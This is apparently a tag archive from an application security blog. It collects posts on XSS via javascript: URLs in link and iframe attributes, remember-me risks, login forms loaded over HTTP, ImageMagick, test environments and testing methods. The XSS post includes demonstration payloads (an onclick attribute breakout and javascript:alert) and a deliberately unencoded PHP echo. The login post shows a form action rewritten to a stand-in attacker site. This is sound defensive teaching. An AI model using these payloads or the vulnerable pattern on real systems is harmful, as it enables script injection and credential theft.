Tag Archives: testing

JavaScript in an HREF or SRC Attribute

The anchor (<a>) HTML tag is commonly used to provide a clickable link for a user to navigate to another page. Did you know it is also possible to set the HREF attribute to execute JavaScript. A common technique is to use the onclick event of the anchor tab to execute a JavaScript method when the user clicks the link. However, to stop the browser from actually redirecting the HREF can be set to javascript:void(0);. This cancels the HREF functionality and allows the JavaScript from the onclick to execute as expected.

In the above example, notice that the HREF is set with a value starting with “javascript:”. This identifier tells the browser to execute the code following that prefix. For those that are security savvy, you might be thinking about cross-site scripting when you hear about executing JavaScript within the browser. For those of you that are new to security, cross-site scripting refers to the ability for an attacker to execute unintended JavaScript in the context of your application (https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)).

I want to walk through a simple scenario of where this could be abused. In this scenario, the application will attempt to track the page the user came from to set up where the Cancel button will redirect to. Imagine you have a list page that allows you to view details of a specific item. When you click the item it takes you to that item page and passes a BackUrl in the query string. So the link may look like:

https://developsec.com/item.php?backUrl=/items.php

On the page, there is a hyperlink created that sets the HREF to the backUrl property, like below:

<a href=”<?php echo $_GET[“backUrl”];?>”>Back</a>

When the page executes as expected you should get an output like this:

<a href=”/items.php”>Back</a>

There is a big problem though. The application is not performing any type of output encoding to protect against cross-site scripting. If we instead pass in backUrl=”%20onclick=”alert(10); we will get the following output:

<a href=”” onclick=”alert(10);“>Back</a>

In the instance above, we have successfully inserted the onclick event by breaking out of the HREF attribute. The bold section identifies the malicious string we added. When this link is clicked it will prompt an alert box with the number 10.

To remedy this, we could (or typically) use output encoding to block the escape from the HREF attribute. For example, if we can escape the double quotes (” -> &quot; then we cannot get out of the HREF attribute. We can do this (in PHP as an example) using htmlentities() like this:

<a href=”<?php echo htmlentities($_GET[“backUrl”],ENT_QUOTES);?>”>Back</a>

When the value is rendered the quotes will be escapes like the following:

<a href=”&quot; onclick=&"alert(10);“>Back</a>

Notice in this example, the HREF actually has the entire input (in bold), rather than an onclick event actually being added. When the user clicks the link it will try to go to https://www.developsec.com/” onclick=”alert(10); rather than execute the JavaScript.

But Wait… JavaScript

It looks like we have solved the XSS problem, but there is a piece still missing. Remember at the beginning of the post how we mentioned the HREF supports the javascript: prefix? That will allow us to bypass the current encodings we have performed. This is because with using the javascript: prefix, we are not trying to break out of the HREF attribute. We don’t need to break out of the double quotes to create another attribute. This time we will set backUrl=javascript:alert(11); and we can see how it looks in the response:

<a href=”javascript:alert(11);“>Back</a>

When the user clicks on the link, the alert will trigger and display on the page. We have successfully bypassed the XSS protection initially put in place.

Mitigating the Issue

There are a few steps we can take to mitigate this issue. Each has its pros and many can be used in conjunction with each other. Pick the options that work best for your environment.

  • URL Encoding – Since the HREF is meant to be a URL, you could perform URL encoding. URL encoding will render the javascript benign in the above instances because the colon (:) will get encoded. You should be using URL encoding for URLs anyway, right?
  • Implement Content Security Policy (CSP) – CSP can help limit the ability for inline scripts to be executed. In this case, it is an inline script so something as simple as ‘Content-Security-Policy:default-src ‘self’ could be sufficient. Of course, implementing CSP requires research and great care to get it right for your application.
  • Validate the URL – It is a good idea to validate that the URL used is well formed and pointing to a relative path. If the system is unable to parse the URL then it should not be used and a default back URL can be substituted.
  • URL White Listing – Creating a white list of valid URLs for the back link can be effective at limiting what input is used by the end user. This can cut down on the values that are actually returned blocking any malicious scripts.
  • Remove javascript: – This really isn’t recommended as different encodings can make it difficult to effectively remove the string. The other techniques listed above are much more effective.

The above list is not exhaustive, but does give an idea of ways to help reduce the risk of JavaScript within the HREF attribute of a hyper link.

Iframe SRC

It is important to note that this situation also applies to the IFRAME SRC attribute. it is possible to set the SRC of an IFRAME using the javascript: notation. In doing so, the javascript executes when the page is loaded.

Wrap Up

When developing applications, make sure you take this use case into consideration if you are taking URLs from user supplied input and setting that in an anchor tag or IFrame SRC.

If you are responsible for testing applications, take note when you identify URLs in the parameters. Investigate where that data is used. If you see it is used in an anchor tag, look to see if it is possible to insert JavaScript in this manner.

For those performing static analysis or code review, look for areas where the HREF or SRC attributes are set with untrusted data and make sure proper encoding has been applied. This is less of a concern if the base path of the URL has been hard-coded and the untrusted input only makes up parameters of the URL. These should still be properly encoded.

Understanding Your Application Platform

Building applications today includes the use of some pretty impressive platforms. These platforms have so much built in capability, many of the most common tasks are easily accomplished through simple method calls. As developers, we rely on these frameworks to provide a certain level of functionality. Much of which we may never even use.

When it comes to security, the platform can be a love/hate relationship. On the one hand, developers may have little control over how the platform handles certain tasks. On the other, the platform may provide excellent security controls. As we mature these platforms, we see a lot of new, cool security features enabled by default. Many view engines have cross-site scripting protections built in by default. Many of the systems use ORM to help reduce SQL Injection vulnerabilities. The problem we often run into is we don’t really know what our platform does and does not provide.

A question was posed about what was the most secure application platform, or which would you recommend. The problem to that question is that the answer really is “It depends.” The frameworks are not all created equally. Some have better XSS preventions. Others may have default CSRF prevention. What a framework does or doesn’t have can also change next month. They are always being updated. Rather than pick the most secure platform, I recommend to people to take the time to understand your platform of choice.

Does it matter if you use PHP, Java, .Net, Python, or Ruby? They all have some built in features, they all have their downfalls. So rather than trying to swap platforms every time a new one gets better features, spend some time to understand the platform you have in front of you. When you understand the risks that you face, you can then determine how those line up with your platform. Do you output user input to a web browser? If so, cross site scripting is a concern. Determine how your platform handles that. It may be that the platform auto encodes that data for you. The encoding may only happen in certain contexts. it may be the platform doesn’t provide any encoding, but rather leaves that up to you.

While the secure by default is more secure, as it reduces the risk of human oversight, applications can still be very secure without it. This is where that understanding comes into play. If I understand my platform and know that it doesn’t encode for me then I must make the effort to protect that. This may even include creating your own function or library that is used enterprise wide to help solve the problem. Unfortunately, when you don’t understand your platform, you never realize that this is a step you must take. Then it is overlooked and you are vulnerable.

I am also seeing more platforms starting to provide security guidelines or checklists to help developers with secure implementation. They may know of areas the platform doesn’t create a protection, so they show how to get around that. Maybe something is not enabled by default, but they recommend and show how to enable that. The more content like this that is produced the more we will understand how to securely create applications.

Whatever platform you use, understanding it will make the most difference. If the platform doesn’t have good documentation, push for it. Ask around or even do the analysis yourself to understand how security works in your situations.

Remember Me Features

Tired of constantly logging into your applications? Don’t you wish they would just remember you each time you visit, logging you right in? It isn’t as always easy to achieve such a status. There are multiple ways remember me can be implemented. Lets take a look at some of them.

Remember UserName

One of the most common ways for a site to implement the remember me functionality is to remember the username only. The username is typically stored in a cookie on the client’s computer. Remembering the username helps speed up the authentication process, but doesn’t eliminate it. The user still has to enter their password to gain access to the application. Although this is a common technique, some organizations may have data classification policies that don’t allow displaying the username in the application. This can also carry over to the username and the login screen. For these organizations, they may not implement a remember me feature at all. Remembering the username does contain some risk, as it instantly provides the username to an attacker on the user’s computer. This leaves just the password for the attacker to determine, which may be feasible if the user re-uses passwords that have been previously breached.

Long-term Auth Cookies

Another common technique for remembering a user is to set an authentication cookie that has a long life. Once you login, a cookie is created that may not expire for a year or longer. This allows you to be automatically logged in each time you visit the site. I am sure you can think of a few sites that provide this functionality. It is common among some of the social media sites people visit all the time. This is not recommended for any type of sensitive applications because it would allow immediate access to anyone that gains access to the user’s device.

Storing Password Locally (Remember Password)

Another option, that probably shouldn’t be an option, is storing the password on the user’s computer. This was recently seen on a web application, however we won’t mention the site that did this. We can, however learn from their decisions. In the application, they used CryptoJS to encrypt and decrypt this type of sensitive data. In this case, they stored the password in a cookie. With the encryption routines available on the client, it is possible to use them to decrypt the encrypted password with very little effort. This is typically the case any time the routines are made available, especially if the keys are available as well. While I am sure this was done with good intentions, the implementation is not very secure. As a matter of fact, it provides more of a false sense of security. This is most likely due to the use of encryption. It is not recommended to perform this type of encryption client-side, nor is it recommended to store the user’s password on the client like this.

What Next?

There are multiple options to help ease the burden of frequently logging into an application. Depending on the type of application, data stored, and sensitivity of the transactions, the options should be considered carefully. Providing the option to remember a username is convenient with some residual risk. Keeping a user logged in for extended periods of time increase the risk, but may be acceptable depending on the application and its use. Stay away from storing the user’s password locally on the computer they are using. Secure implementation is not easy or straightforward, increasing the risk levels.


Jardine Software helps companies get more value from their application security programs. Let’s talk about how we can help you. James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Introducing our Slack channel

It is a new year and time for some new ways for all of us to communicate. We appreciate all that have read the posts and listened to the podcast. Both of these will continue to move forward in 2017 with some new material on the way.

We are happy to announce we have started a Slack channel. You can find it at developsec.slack.com. The blog and podcasts have been great in providing information in a read-only manner. Slack is an opportunity to open up more conversation and create more dialog. A chance for us all to share stories and work out problems.

The channel is dedicated to application security topics. This means web, mobile, IoT, and whatever else is running applications. The goal is to provide a mechanism to bring application security into our everyday life. If you are interested in being a part of the DevelopSec Slack group, just drop me a line at james@jardinesoftware.com. I will send you out an invite.

DevelopSec encourages developers, business analysts, QA, and other application team members to take part in this great new opportunity.

Here is to 2017. A new year with new opportunities. As always, feel free to reach out to discuss AppSec.

Login Forms and HTTP

Does your application have a login form? Do you deliver it over HTTPS to protect the username and password while being transmitted to the server? If you answered yes to both of those questions, are you sure?

Many years ago, before there was a huge push for HTTPS all the time, it was common practice for many applications to load a login form using HTTP, but then submit the form over HTTPS. This was accomplished by setting the action attribute of the form to the full HTTPS version of the site.

<form action=”https://www.somesite.com/login” method=”post”>

There was a flaw in this setup. The flaw is not even with the submission of your credentials. Instead, the issue is how that login form is initially loaded. Remember we said that the initial request was HTTP? The belief was that because the loading of the form doesn’t transmit any sensitive data, it would be ok to use HTTP. You could even take a trip back to the performance wars during that time stating that HTTP was much faster to load. (We learned a lot of the years).

The problem is that if there is a malicious user (attacker) on your same network that is able to redirect your traffic through them they could manipulate the initial load of the page. Imagine if the attacker intercepted your request to the login page (initial load) and changed the action of the form to a different site?

<form action=”http://myevilsite.com/login” method=”post”>

Notice how the new form submission will go to a different site, not even using HTTPS. From the end user’s point of view they wouldn’t even know the form was going to send their credentials to a different site.

Over the years, we have seen the use of this methodology shrinking down. Many sites are now loading their login forms all over HTTPS. As a matter of fact, many sites are 100% HTTPS.

But Wait!!

There is another angle to this that is often overlooked, but works very similar. Does your site allow it to be loaded into frames? I have seen a lot of sites that have been including another application’s login form using either frame sets or frames. The issue, the container site is often a simple marketing or branding site and runs over HTTP.

Like the above example, the HTTP site is including a frame reference to an HTTPS site. Again, the login form submission is still correct. However, it is possible that the attacker from the previous scenario could intercept the containing page and change the reference for the login frame. In this case, the attacker would most likely create a page that is identical to the real login form and point the frame to that one. The user would have no idea that the authentication page was incorrect, because it would look like the original. When the user submits their credentials, they would then be submitted to the malicious user instead of the real site.

It is recommended to not allow your site to be hosted within a sub frame. There are plenty of articles that discuss frame busting techniques and you could look into the X-Frame-Options header as well. If your form doesn’t load in a frame then your risk of being included on a non-secure site is reduced. For all other scenarios, there isn’t a lot of reason to not be using HTTPS from end to end. By securing all of the transactions, it reduces the risk that an attacker can easily manipulate that traffic.

Application Security and Responsibility

Who is responsible for application security within your organization? While this is something I don’t hear asked very often, when I look around the implied answer is the security team. This isn’t just limited to application security either. Look at network security. Who, in your organization, is responsible for network security? From my experience, the answer is still the security group. But is that how it should be? Is there a better way?

Security has spent a lot of effort to take and accept all of this responsibility. How often have you heard that security is the gate keeper to any production releases? Security has to test your application first. Security has to approve any vulnerabilities that may get accepted. Security has to ….

I won’t argue that the security group has a lot of responsibility when it comes to application security. However, they shouldn’t have all of it, or even a majority of it. If we take a step back for a moment, lets think about how applications are created. Applications are created by application teams which consist of app owners, business analysts, developers, testers, project managers, and business units. Yet, when there is a security risk with the application it is typically the security group under fire. The security group typically doesn’t have any ability to write or fix the application, and they shouldn’t. There is a separation, but are you sure you know where it is?

I have done a few presentations recently where I focus on getting application teams involved in security. I think it is important for organizations to think about this topic because for too long we have tried to separate the duties at the wrong spot.

The first thing I like to point out is that the application development teams are smart, really smart. They are creating complex business functions that drive most organizations. We need to harness this knowledge rather than trying to augment it with other people. You might find this surprising, but most application security tools have GUIs that anyone on your app dev teams can use with little experience. Yet, most organizations I have been into have the security group running the security tools (such as Veracode, Checkmarx, WhiteHat, Contrast, etc). This is an extra layer that just decreases the efficiency of the process.

By getting the right resources involved with some of these tools and tasks, it not only gets security closer to the source, but it also frees up the security team for other activities. Moving security into the development process increases efficiency. Rather than waiting on a scan by the security team, the app team can run the scans and get the results more quickly. Even better, they can build it into their integration process and most likely automate much of the work. This changes the security team to be reserved for the more complex security issues. It also makes the security team more scalable when they do not have to just manage tools.

I know what you are thinking.. But the application team doesn’t understand security. I will give it to you, in may organizations this is very true. But why? Here we have identified what the problem really is. Currently, security tries to throw tools at the issue and manage those tools. But the real problem is that we are not focusing on maturing the application teams. We attempt to separate security from the development lifecycle. I did a podcast on discussing current application security training for development teams.

Listen to the podcast on AppSec Training

Everyone has a responsibility for application security, but we need to put a bigger focus on the application teams and getting them involved. We cannot continue to just hurl statements about getting these teams involved over the fence. We say to implement security into the SDLC, but rarely are we defining these items. We say to educate the developers, but typically just provide offensive security testing training, 1-2 days a year. We are not taking the time to identify how they work, how their processes flow, etc. to determine how to address the problem.

Take a look at your program and really understand it. What are you currently doing? Who is performing what roles? What resources do you have and are you using them effectively? What type of training are you providing and is it effective regarding your goals?

James Jardine is the CEO and Principal Consultant at Jardine Software Inc. He has over 15 years of combined development and security experience. If you are interested in learning more about Jardine Software, you can reach him at james@jardinesoftware.com or @jardinesoftware on twitter.

Originally posted at https://www.jardinesoftware.com

ImageMagick – Take-aways

Do your applications accept file uploads? More specifically, image uploads? Do you use a site that allows you to upload images? If you haven’t been following the news lately, there was recently a few vulnerabilities found in the ImageMagick image library. This library is very common in websites to perform image processing. The vulnerability allows remote code execution (RCE) on the web server, which is very dangerous. For more specific details on the vulnerability itself, check out this post on the Sucuri Blog.

There are a few things I wanted to focus on that are less about ImageMagick and more focused on better security solutions.

Application Inventory

I know, enough already. I get it, I mention application inventory all the time. It is with good reason. We rely heavily on 3rd part components just like ImageMagick and there are bound to be security flaws identified in them. Some may be less critical, while others demanding the highest priority. The issue at hand is that we cannot defend against the unknown. In this case, even if we are aware of a vulnerability, it doesn’t help us if we are not aware we use the vulnerable component. Time is important, especially when it comes to critical type issues. You need to be able to quickly determine if your company uses the vulnerable component, which apps are effected, and what types of data resides in those systems. Performing fire drills for every vulnerability announced is very inefficient. Being able to quickly identify the effected areas allows for a better understanding of any risk changes.

Permissions

When you are configuring your applications, think about the type of permissions the application has on the server. Does it have the ability to write to specific folders, execute specific files, read data, etc.? Does the application run as an administrator with full rights? To help reduce the attack surface we must understand what the app needs to do, and then make sure the permissions are aligned with those needs. In this case, the files may be stored on the file system to be used later so write permissions may be required. It is still possible to limit those write permissions to specific folders and even limiting execution permissions.

Application Configuration

How you design and configure your application plays a significant role in how security is handled. In regards to allowing file uploads, how do you handle storing the files? Are they on the file system or in the database? How are features configured? In the case of ImageMagick, there are configuration settings that can be set to limit the vulnerabilities. Make sure that you are only accepting file types that are needed and discarding others. These configurations can take many forms, but will help provide security when they are truly understood.

Importance of Input Validation

The vulnerability in ImageMagick highlights the importance of sanitizing input and performing solid validation. In this case, the file name is not properly handled which allows an attacker to run unintended commands. We have to check to make sure that the data passed to our applications is what we are expecting. If it is not, then it must be discarded.

This is not the last time we will see a vulnerable component that is used by lots of applications. It is part of the risk of using external components. We can do more on our side to make sure that we know what we are using and preparing for the event that something goes wrong. Take the time to understand your applications and think about the different ways security may be effected.

Security in Testing Environments

When it comes to creating applications, there is a need for multiple environments to support the development process. It typically starts on the developers own computer, then on to an integration environment, a QA testing environment, possibly a UAT (User Acceptance Testing) environment, and then finally production. Depending on your organization, you may have some, none, or all of these different environments.

When it comes to security, the focus is typically on the production environment. This is where the instances that all of the users use are on a daily basis. This has all the “real” data. It is where real credit card numbers or social security numbers may reside. There is a lot of effort put on securing the production environment.

What about the test environments?

If your testing environments are externally exposed, the security of those environments are just as important. Anything exposed externally is a target and needs to be considered. Just recently there was an article about a test database being exposed that resulted in leaked data. This is an opportunity for us to look at our own systems to understand what we are doing with our test environments.

Some things to think about within your test environments:

  • What do we actually have exposed externally – Keep an inventory of the software, services and devices that are exposed. This includes any databases, web servers, ports, etc.
  • Ensure the endpoints are properly locked down – Make sure that your systems are not left wide-open. Don’t leave default passwords in place, make sure they are changed to be unique. If you are running some form of database server, make sure it is not exposed and that it has authentication enabled on it.
  • Check the validity of data – What type of data do you use in your test environment? Are you using a straight copy of production (shame on you)? What type of data scrubbing are you performing? Are you performing data scrubbing? What types of sensitive information may be stored in the environment.
  • Who has access to the environment – Is the environment limited to specific IP addresses or clients? Is it open to anyone that has a valid username and password? Who should it be open to?
  • Where are the servers – Consider where these servers are located. Are they in the same environment as the production servers? What about the corporate network?

These lower-level environments produce risk and should be tracked accordingly. Don’t discount them just because they are “test”.

When One Testing Solution Isn’t Enough

Go to any conference, attend some webinars, or just do a search for application security testing solutions and you can quickly see the sheer number of solutions out there. As in every situation, there are some that are great and some that are not so great. With such great marketing, it is often very difficult to determine what is the best solution. All too often people are looking for that silver bullet. That one testing tool or pen testing company that will find everything. Unfortunately, that solution doesn’t exist, or I just haven’t seen it.

Application testing usually falls into two categories: Automated scanning and manual assessments. To break that down further, automated scanning is broken down into two disciplines: Static and dynamic.

Static Analysis

Static scanning means that code is scanned without running it. Here is a quick post about static analyzers. Inputs are traced through the code to see what paths are taken and determine vulnerabilities. Static scans can be efficient at finding flaws such as cross-site scripting, injection flaws, configuration issues, etc. Static scans excel at finding code issues like hard coded passwords, cryptography issues, and other items not possible through a dynamic or manual test. They still do not do very well at finding business logic flaws which can be the most devastating.

Dynamic Analysis

Dynamic scanning means that the application is scanned as it is running. Unlike a static scan, it can be very difficult to identify hard coded passwords or cryptographic issues because they are not visible to the end user. Dynamic scans do a decent job of identifying other flaws such as cross-site scripting, injection flaws, insecure cookies, and some other configuration issues to name a few. Dynamic scanners do not do a good job identifying authentication, authorization, or business logic flaws in general. Properly tuned scanners may be able to do this, but that requires extra work.

Manual Assessments

Manual assessments are mostly a manual process of analyzing source code or using the application to find security flaws. Source code review, has many advantages of the static scanning mentioned above. Penetration testing is very similar to the dynamic scanning mentioned. In both cases, the testing is done manually vs. using just an automated tool. Manual assessments (pen tests) are much more efficient at finding authentication, authorization and business logic flaw types. Of course the quality of the assessment is heavily influenced by the skill of the person doing the assessment.

Some of the big vendors have started offering all three types of assessment for their customers. The big players (White Hat Security, VeraCode, HP, etc.) all offer static, dynamic and manual assessments for your applications. And with good reason. If you have worked in an enterprise where you are required to have multiple assessments by different groups you quickly realize how nothing provides a complete solution. Each assessment paints a portion of the security picture. Items found by one may not be found by the other. In some instances you may think that two should have found the same item, but that is the nature of security.. No one finds everything.

Multiple Solutions

While you may think that it is overkill to have multiple scanning solutions or testers looking at an application, they all bring a different viewpoint and help identify different types of vulnerabilities. Sort of like an enhanced second pair of eyes. Not only can they double check the work the other has done, but in may situations they can identify different types of vulnerabilities. Not only do different solutions find different vulnerabilities, they also find them at different phases of the development lifecycle. It is common to use the static scanners in the development phase. Dynamic scanners are more commonly seen in the verification phase. Manual assessments, especially 3rd party penetration testers, are also in the verification phase, but near the end of the cycle. The closer to development a flaw is found, the quicker it is to remediate it.

The right solution is the one that fits your environment. Take the time to analyze your setup to determine the best way to implement a solution. These solutions take time and should be carefully considered.

Unsupported Browser Support

Ok, so the title is a bit counter-intuitive. I recently saw an article talking about the end of support for some of the Internet Explorer versions out there (http://www.computerworld.com/article/3018786/web-browsers/last-chance-to-upgrade-ie-or-switch-browsers-as-microsofts-mandate-looms.html) and got to thinking about the number of sites that still require supporting some of these older versions of browsers. This is typically more common in the big corporate enterprises, as they have the legacy systems and tend to move slower upgrading internal software.

The unfortunate reality is that, in some environments, you are stuck supporting outdated browsers. Whether it is an internal application with requirements for the network, or your client base is just slow to move on. This requirement also puts those users, and potentially the company network at risk since there are no more security updates for these browsers.

Over the past few years, browsers have been taking on some of the burden of stopping some forms of application security attack vectors. We saw the addition of the cross-site scripting filters added a while back to help detect and neutralize some reflective cross-site scripting attacks. We also saw browsers start to support custom response headers to indicate content security policy, frame handling, etc.. Some of these protections are supported across all browsers, while others are limited to specific browsers, or versions of browsers. As we see these unsupported browsers still out there, it reminds us that as developers, we cannot rely just on browser functionality for security.

While we may not be able to control what version of a browser we support, well we can but we can’t, we can still make sure that our application is as secure as possible. Lets take cross-site scripting as an example. Sure, for reflected XSS, we could just sent the X-XSS-Protection response header and hope for the best. It might neutralize a few instances, but that is a pretty poor defense mechanism. First, there have been numerous bypasses for these types of client-side blocking attempts. Second, it is our responsibility, as developers, to properly handle our data. That starts with good input validation and ends with properly encoding that data before we send it to the browser.

I am not advocating not using the different response headers. Bugs can be missed and having another control there to help reduce the chance of a vulnerability being exploited is a good thing. But the first effort should be spent on making sure the output is encoded properly in the first place. This is where testing comes into play as well, making sure that we are validating that the encoding is working as expected.

By properly protecting our apps with good application security practices, it shouldn’t matter what browser the client is using. Does the end user run a higher risk, in general, by running out of date software. You bet. That doesn’t mean our application has to be the source of that added risk.

If you are stuck supporting out dated browsers due to corporate compliance or other reasons, take the time to analyze the situation. Determine why that browser is needed and what possible solutions are there. Raise the issue up within the organization, identifying the risks that are exposed due to the use of outdated browsers. While the organization may already know this, it doesn’t hurt to say it again.